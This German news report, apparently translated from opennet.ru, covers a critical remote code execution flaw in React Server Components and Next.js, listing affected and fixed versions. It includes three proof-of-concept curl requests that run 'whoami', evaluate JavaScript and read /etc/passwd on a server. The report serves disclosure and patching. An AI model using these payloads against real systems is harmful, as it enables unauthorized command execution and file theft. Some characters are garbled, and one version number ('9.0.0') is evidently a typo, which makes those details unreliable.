In den serverseitigen Komponenten des Web-Frameworks React (RSC, React Server Components) wurde eine SicherheitsanfĂ€lligkeit (CVE-2025-55182) behoben, die es ermöglichte, durch das Senden einer Anfrage an den Server-Handler beliebigen Code auf dem Server auszufĂŒhren. Die SicherheitsanfĂ€lligkeit wurde als kritisch eingestuft (10 von 10). Sie tritt in experimentellen Komponenten react-server-dom-webpack, react-server-dom-parcel und react-server-dom-turbopack auf, die fĂŒr die AusfĂŒhrung von Funktionen und die Erstellung von BenutzeroberflĂ€chenelementen auf dem Server und nicht auf der Client-Seite verwendet werden.
Das Problem wird durch unsichere Deserialisierung von Daten verursacht, die in HTTP-Anfragen an Server-Handler empfangen werden. Die Handler âvm#runInThisContextâ, âvm#runInNewContextâ, âchild_process#execFileSyncâ und âchild_process#execSyncâ können verwendet werden, um Befehle im System auszufĂŒhren oder JavaScript-Code im Kontext des aktuellen Prozesses auszufĂŒhren (unter Umgehung der Sandbox-Isolierung). Zudem ist es möglich, die Handler âfs#readFileSyncâ und âfs#writeFileSyncâ zu nutzen, um beliebige Dateien zu lesen und zu schreiben, Server, je nach den aktuellen Zugriffsrechten. FĂŒr einen Angriff ist keine Authentifizierung erforderlich. Ein Prototyp des Exploits ist verfĂŒgbar. # AusfĂŒhren des Befehls whoami curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={âidâ:âchild_process#execSyncâ,âboundâ:[âwhoamiâ]}â # AusfĂŒhren von JavaScript-Code 1+1 curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={âidâ:âvm#runInThisContextâ,âboundâ:[â1+1â]}â # Lesen der Datei /etc/passwd curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={âidâ:âfs#readFileSyncâ,âboundâ:[â/etc/passwdâ,âutf8â]}â
Die AnfĂ€lligkeit von Systemen fĂŒr diese SicherheitsanfĂ€lligkeiten hĂ€ngt von der Verwendung der betroffenen serverseitigen Komponenten react-server-dom-webpack, react-server-dom-parcel und react-server-dom-turbopack ab. Anwendungen, die kein react-server verwenden, sind von der AnfĂ€lligkeit nicht betroffen. Das AusmaĂ, in dem Produktionssysteme, die React verwenden, betroffen sind, ist bisher unklar. Auf der einen Seite ist React eines der beliebtesten Web-Frameworks (es wird auf etwa 6% der Websites verwendet), und die anfĂ€lligen Komponenten werden hauptsĂ€chlich im Repository entwickelt und sind Teil der Releases. Betroffene Komponenten werden auch in auf React basierenden Frameworks wie Next.js und react-router unterstĂŒtzt. Laut der Firma Wiz Research wurden anfĂ€llige Instanzen in 39% der analysierten Cloud-Umgebungen festgestellt.
Andererseits wird die Inhaltserstellung auf Server ĂŒber React Server Components ist eine selten genutzte Funktion (die meisten React-Webseiten rendern die BenutzeroberflĂ€che nur clientseitig), und die anfĂ€lligen Komponenten sind als experimentell gekennzeichnet und garantieren keine korrekte Funktion. Diese Komponenten haben relativ wenige direkte Downloads aus dem NPM-Repository: react-server-dom-webpack â 670.000 pro Woche, react-server-dom-parcel â 7.000 und react-server-dom-turbopack â 32.000, zum Vergleich: das NPM-Paket React hat 45 Millionen Downloads pro Woche.
Die Schwachstelle ist in den Versionen React 9.0.0, 19.1.0, 19.1.1 und 19.2.0 vorhanden und wurde in den Updates React 19.0.1, 19.1.2 und 19.2.1 behoben. Die anfÀlligen Komponenten werden auch in Paketen wie Next.js (16 Millionen Downloads pro Woche), react-router (20 Millionen Downloads pro Woche), waku, @parcel/rsc, @vitejs/plugin-rsc und rwsdk verwendet.
Im Next.js-Framework betrifft die Schwachstelle (CVE-2025-66478) Anwendungen, die den App Router und die Zweige Next.js 15.x und 16.x verwenden. Es wird behauptet, dass die Schwachstelle in der Standardkonfiguration von Next.js auftritt (die Standardanwendung, die mit dem Tool create-next-app erstellt wird, ist anfĂ€llig fĂŒr Angriffe). Den Benutzern wird empfohlen, so schnell wie möglich das Update Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 oder 16.0.7 zu installieren.
Quelle: opennet.ru
